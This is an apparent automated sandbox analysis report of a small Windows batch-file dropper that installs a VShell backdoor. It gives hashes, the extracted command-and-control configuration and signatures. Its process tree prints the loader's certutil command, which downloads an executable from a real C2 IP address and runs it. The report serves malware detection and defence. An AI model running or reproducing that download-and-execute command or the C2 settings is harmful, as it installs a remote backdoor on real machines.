Analysis
- max time kernel
148s - max time network
150s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
10/09/2026, 01:16
Static task
static1
Behavioral task
behavioral1
Sample
jaffacakes118_579181c2f35feb6291643e80229246b6eaac2ebd1b2510079d04e8900592bd62.bat
Resource
win10v2004-20260513-en
windows10-2004-x64
8 signatures
150 seconds
General
- Target jaffacakes118_579181c2f35feb6291643e80229246b6eaac2ebd1b2510079d04e8900592bd62.bat
- Size 512B
- Sample260910-bm3m2atbja
- SHA256 579181c2f35feb6291643e80229246b6eaac2ebd1b2510079d04e8900592bd62
- MD5 b08190f007863d99b5db4e6ecd1240e0
- SHA1 3a48981c4876561dbfd79842df23e6796c95d08f
- SHA512 faef78cc5f115c0042e0fdbebd0d320817ad1c1501ff165fad45ffbc60beef2564de817d7d5e6e6d1dc6a1ddaa9969e8bcae8fd80c0f811db0eaf35c92b7342a
- TLSH T1C3F09ECD08324EFE0FC9C973F4946186B00AA0CCCAA1E9D41B9125DD4D490D832EBB92
- MD5 SHA1 SHA512 TLSH
Malware Config
Extracted
Family
-
vshell
C2
-
107.173.101.114
Attributes
-
port
10000
-
salt
qwWVRFS
-
type
tcp
-
vkey
qwwrvd
Signatures
- Detects VSHELL Backdoor 1 IoCs
resource yara_rule behavioral2/memory/952-7-0x0000000067700000-0x0000000067ED4000-memory.dmp family_vshell - Downloads MZ/PE file 2 IoCs
flow pid Process 5 4792 certutil.exe 6 4792 certutil.exe - Executes dropped EXE 1 IoCs
pid Process 952 325f9054tcp.exe - Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 4992 cmd.exe 5892 cmd.exe - Suspicious behavior: EnumeratesProcesses 5 IoCs
pid Process 2120 WMIC.exe 2120 WMIC.exe 2120 WMIC.exe 2120 WMIC.exe 952 325f9054tcp.exe - Suspicious use of AdjustPrivilegeToken 43 IoCs
description pid Process Token: SeIncreaseQuotaPrivilege 2120 WMIC.exe Token: SeSecurityPrivilege 2120 WMIC.exe Token: SeTakeOwnershipPrivilege 2120 WMIC.exe Token: SeLoadDriverPrivilege 2120 WMIC.exe Token: SeSystemProfilePrivilege 2120 WMIC.exe Token: SeSystemtimePrivilege 2120 WMIC.exe Token: SeProfSingleProcessPrivilege 2120 WMIC.exe Token: SeIncBasePriorityPrivilege 2120 WMIC.exe Token: SeCreatePagefilePrivilege 2120 WMIC.exe Token: SeBackupPrivilege 2120 WMIC.exe Token: SeRestorePrivilege 2120 WMIC.exe Token: SeShutdownPrivilege 2120 WMIC.exe Token: SeDebugPrivilege 2120 WMIC.exe Token: SeSystemEnvironmentPrivilege 2120 WMIC.exe Token: SeRemoteShutdownPrivilege 2120 WMIC.exe Token: SeUndockPrivilege 2120 WMIC.exe Token: SeManageVolumePrivilege 2120 WMIC.exe Token: 33 2120 WMIC.exe Token: 34 2120 WMIC.exe Token: 35 2120 WMIC.exe Token: 36 2120 WMIC.exe Token: SeIncreaseQuotaPrivilege 2120 WMIC.exe Token: SeSecurityPrivilege 2120 WMIC.exe Token: SeTakeOwnershipPrivilege 2120 WMIC.exe Token: SeLoadDriverPrivilege 2120 WMIC.exe Token: SeSystemProfilePrivilege 2120 WMIC.exe Token: SeSystemtimePrivilege 2120 WMIC.exe Token: SeProfSingleProcessPrivilege 2120 WMIC.exe Token: SeIncBasePriorityPrivilege 2120 WMIC.exe Token: SeCreatePagefilePrivilege 2120 WMIC.exe Token: SeBackupPrivilege 2120 WMIC.exe Token: SeRestorePrivilege 2120 WMIC.exe Token: SeShutdownPrivilege 2120 WMIC.exe Token: SeDebugPrivilege 2120 WMIC.exe Token: SeSystemEnvironmentPrivilege 2120 WMIC.exe Token: SeRemoteShutdownPrivilege 2120 WMIC.exe Token: SeUndockPrivilege 2120 WMIC.exe Token: SeManageVolumePrivilege 2120 WMIC.exe Token: 33 2120 WMIC.exe Token: 34 2120 WMIC.exe Token: 35 2120 WMIC.exe Token: 36 2120 WMIC.exe Token: SeDebugPrivilege 952 325f9054tcp.exe - Suspicious use of WriteProcessMemory 5 IoCs
description pid Process procid_target PID 4992 wrote to memory of 5892 4992 cmd.exe 90 PID 5892 wrote to memory of 2120 5892 cmd.exe 91 PID 5892 wrote to memory of 4204 5892 cmd.exe 92 PID 4992 wrote to memory of 4792 4992 cmd.exe 94 PID 4992 wrote to memory of 952 4992 cmd.exe 95
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\jaffacakes118_579181c2f35feb6291643e80229246b6eaac2ebd1b2510079d04e8900592bd62.bat"1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4992 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic os get osarchitecture | findstr 642⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5892 -
C:\Windows\System32\Wbem\WMIC.exewmic os get osarchitecture3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2120
-
-
C:\Windows\system32\findstr.exefindstr 643⤵PID:4204
-
-
-
C:\Windows\system32\certutil.execertutil.exe -urlcache -split -f "http://107.173.101.114:10000/?h=107.173.101.114&p=10000&t=tcp&a=w64&stage=true" "C:\Users\Public\325f9054tcp.exe"2⤵
- Downloads MZ/PE file
PID:4792
-
-
C:\Users\Public\325f9054tcp.exe"C:\Users\Public\325f9054tcp.exe"2⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:952
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
- Path C:\Users\Public\325f9054tcp.exe
- Size 3KB
- SHA256 ab500ad2b80fa0994cc521dbdf2619f4910498cef685aed0b58bd23a4e16988e
- MD5 6a1c343bec9f0ae29f493a0a93206542
- SHA1 06511fbb522625b1b52d461ded9dec1e671d1ab9
- SHA512 ae4047a21813b678f2a9d605b030c81843d76a6984d85e0679af8a2e5adc4a5b3af678ea75681c9c0f281180986a4c9b522b8e3b378e91a0954a7804cc986028
- TLSH T1C471B541605416F2D98DE3BFC487B895FD5FB248A2C84B0B0398981A2FB207BB0D9613
- MD5 SHA1 SHA512 TLSH